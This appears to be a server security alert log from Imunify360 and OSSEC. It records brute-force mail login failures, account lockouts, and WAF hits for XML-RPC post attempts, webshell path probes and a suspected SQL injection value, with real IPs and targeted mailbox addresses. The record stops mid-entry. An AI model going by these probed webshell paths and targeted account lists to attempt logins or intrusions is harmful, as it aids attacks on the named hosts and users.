2026-01-31 21:50:13 dovecot_login authenticator failed for H=(f8tjdui) [178.16.54.138]:59714: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:50:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.53.11
country_id: 1835841
description:
2026-01-31 21:50:08 dovecot_login authenticator failed for H=([168.126.53.11]) [168.126.53.11]:60168: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:50:13 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55298: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:50:01 dovecot_login authenticator failed for H=(HjerlS1U) [185.169.4.188]:52214: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:51:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:51:24 dovecot_login authenticator failed for H=(BaYStdoZ) [178.16.54.138]:57919: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:51:15 dovecot_login authenticator failed for H=(DYoBiHpIK9) [185.169.4.188]:53141: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:51:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61721: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:51:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:721ea6f2841212790140a542263c5472758e198b||Title:0x1b715762||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:52:10 dovecot_login authenticator failed for H=(9hXj5C) [178.16.54.138]:55214: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:52:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:52:20 dovecot_login authenticator failed for H=(HLGpQK) [185.169.4.188]:52227: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec00af0f6e763e12bda5899658f111ed334bf105||Title:0x73f6cfcf||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:52:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50159: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:53:06 dovecot_login authenticator failed for H=(qs1Ef8PT) [185.169.4.188]:57149: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:53:19 dovecot_login authenticator failed for H=(ErxEBvv) [178.16.54.138]:52203: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.58
country_id: 1269750
description:
2026-01-31 21:53:47 dovecot_login authenticator failed for H=([182.95.26.95]) [125.23.237.58]:55688: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-01-31 21:53:47 dovecot_login authenticator failed for H=([218.156.93.203]) [218.156.93.203]:59418: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.0.111.246
country_id: 2233387
description:
2026-01-31 21:53:36 dovecot_login authenticator failed for H=(host-129.0.111.246.mtn.cm) [129.0.111.246]:64862: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-01-31 21:53:07 dovecot_login authenticator failed for H=([131.161.184.46]) [131.161.184.46]:49042: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:53:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:698c0c810938e2020dc5003dc0b6b644588b2b71||Title:0x04db4d94||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:54:17 dovecot_login authenticator failed for H=(HD4JBP) [185.169.4.188]:60466: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.69.160
country_id: 1814991
description:
2026-01-31 21:54:57 dovecot_login authenticator failed for H=([111.26.69.159]) [111.26.69.160]:43928: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:54:41 dovecot_login authenticator failed for H=(zXXafHnlJM) [185.169.4.188]:55934: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:54:05 dovecot_login authenticator failed for H=(aS0gBx) [178.16.54.138]:50690: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: aoto.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/aotocom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:55:14 dovecot_login authenticator failed for H=(jYpuSp) [178.16.54.138]:49992: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.2.51.88
country_id: 1562822
description:
2026-01-31 21:55:45 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [117.2.51.88]:54820: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:55:04 dovecot_login authenticator failed for H=(LW8ooKijy) [185.169.4.188]:52037: 535 Incorrect authentication data (set_id=yennymky@essemgroup.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:df4d1888771c2a769010dbecdff3510c4383210f||Title:0x43d51a18||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:55:48 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-31 21:55:22 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:49496: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.144.14.204
country_id: 1210997
description:
2026-01-31 21:55:04 dovecot_login authenticator failed for H=(14.204.bol-online.com) [122.144.14.204]:63705: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:56:23 dovecot_login authenticator failed for H=(Mk4NNhsWcg) [178.16.54.138]:52685: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:56:12 dovecot_login authenticator failed for H=(iV1SKYk) [185.169.4.188]:54433: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:56:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky@essemgroup.net has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.37.206.136
country_id: 1835841
description:
2026-01-31 21:56:10 dovecot_login authenticator failed for H=([14.37.206.136]) [14.37.206.136]:33186: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-01-31 21:56:13 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:36701: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 149.202.52.184
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:12ce6228deb00834cae4204a3a524517a79bff42||Title:0x7ca888c7||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:57:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59085: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:57:55 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:57:11 dovecot_login authenticator failed for H=(L4paIKE0JL) [178.16.54.138]:51408: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:57:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:57:23 dovecot_login authenticator failed for H=(ugsaduI4) [185.169.4.188]:56095: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:57:23 dovecot_login authenticator failed for H=(jfNFnrLWP) [185.169.4.188]:56093: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:58:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59993: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:58:08 dovecot_login authenticator failed for H=(zdGAbF) [185.169.4.188]:62136: 535 Incorrect authentication data (set_id=yennymky)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:468c2fcc4ec97d041173182833ca58d5e44f585d||Title:0x83cf8f97||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 21:58:08 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:33002: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:58:20 dovecot_login authenticator failed for H=(mybgAWw) [178.16.54.138]:50404: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:58:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:58:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.34.120.78
country_id: 2750405
description:
2026-01-31 21:59:50 dovecot_login authenticator failed for H=78.120.34.34.bc.googleusercontent.com (10.164.0.2) [34.34.120.78]:62765: 535 Incorrect authentication data (set_id=chew@nexuscollection.com )


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 206.189.90.199
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:pwd||MV:uxct'p/{{3>k;3u\"6qsp3b #x$[7=v||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 21:59:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:59:32 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60725: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2038fcb6dfc42990987b46f710a60a5ad27a10ad||Title:0x864abcf9||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.29.231.106
country_id: 1814991
description:
2026-01-31 21:59:39 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [218.29.231.106]:55621: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.145
country_id: 1819730
description:
2026-01-31 21:59:51 dovecot_login authenticator failed for H=145.47.246.220.static.netvigator.com [220.246.47.145]:56035: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 21:59:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 21:59:12 dovecot_login authenticator failed for H=(gtXlqa7KDI) [178.16.54.138]:56051: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 21:59:18 dovecot_login authenticator failed for H=(YvOuyZ5) [185.169.4.188]:64402: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.83.30.199
country_id: 6252001
description:
2026-01-31 22:00:00 dovecot_login authenticator failed for H=ool-43531ec7.dyn.optonline.net [67.83.30.199]:41169: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.34.120.78
country_id: 2750405
description:
2026-01-31 22:00:10 dovecot_login authenticator failed for H=78.120.34.34.bc.googleusercontent.com (10.164.0.2) [34.34.120.78]:64289: 535 Incorrect authentication data (set_id=chew@nexuscollection.com )


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:00:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:00:13 dovecot_login authenticator failed for H=(icnf2E) [178.16.54.138]:56512: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.228.3.54
country_id: 2264397
domain: dsc-expat.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/adriv4.php||SC:/home2/dscexpat/public_html/assets||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 22:00:39 H=([64.89.160.15]) [64.89.160.15]:63548 F=<essenas@outlook.com> rejected RCPT <sales@hmz.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.125.67.109
country_id: 1835841
description:
2026-01-31 22:00:21 dovecot_login authenticator failed for H=([39.125.67.109]) [39.125.67.109]:49077: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:afb10876c739dcb38af1713ff24f918641b8e0af||Title:0x8bc50aa6||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:00:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:00:05 dovecot_login authenticator failed for H=(EVjJd2) [185.169.4.188]:56074: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.193.149
country_id: 1643084
description:
2026-01-31 22:01:44 dovecot_login authenticator failed for H=([103.186.193.149]) [103.186.193.149]:36700: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d359f120e04625cf007c095f2dc2add81f4876e4||Title:0xb9622bf4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:02:00 dovecot_login authenticator failed for H=(KoyZwv3OUm) [185.169.4.188]:62234: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:01:03 dovecot_login authenticator failed for H=(v09ESfB) [178.16.54.138]:49784: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:01:14 dovecot_login authenticator failed for H=(iMC4RQjtc) [185.169.4.188]:56378: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:01:17 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54011: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:01:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 22:01:19 H=([167.148.167.71]) [167.148.167.71]:62543 F=<Support@euratech.com.my> rejected RCPT <zhenwei@euratech.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.120.182
country_id: 3144096
description:
2026-01-31 22:01:34 dovecot_login authenticator failed for H=(cm-178.232.120.182.get.no) [178.232.120.182]:58827: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:01:32 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.228
country_id: 99237
description:
2026-01-31 22:02:30 dovecot_login authenticator failed for H=([65.20.205.228]) [65.20.205.228]:35988: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:02:25 dovecot_login authenticator failed for H=(0VRw3z) [178.16.54.138]:60937: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:02:22 dovecot_login authenticator failed for H=(QH9H9R1) [185.169.4.188]:56336: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-31 22:02:43 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13130: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.185.37.239
country_id: 1269750
description:
2026-01-31 22:02:41 dovecot_login authenticator failed for H=(abts-tn-dynamic-239.37.185.136.airtelbroadband.in) [136.185.37.239]:58932: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:02:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-01-31 22:02:53 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:33120: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:02:05 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62292: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.39.109.254
country_id: 3576396
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/products/oculusflatlensmalaysia.htm HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:02:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:472c3b1110341b0cb9f78ff30434676bc766bd34||Title:0x99449c86||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 22:03:31 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:40106: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-01-31 22:03:58 dovecot_login authenticator failed for H=(217-29-30-135.saimanet.kg) [217.29.30.135]:60461: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-01-31 22:03:16 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:39582: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:03:08 dovecot_login authenticator failed for H=(1rIJd6M4) [185.169.4.188]:62112: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:03:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
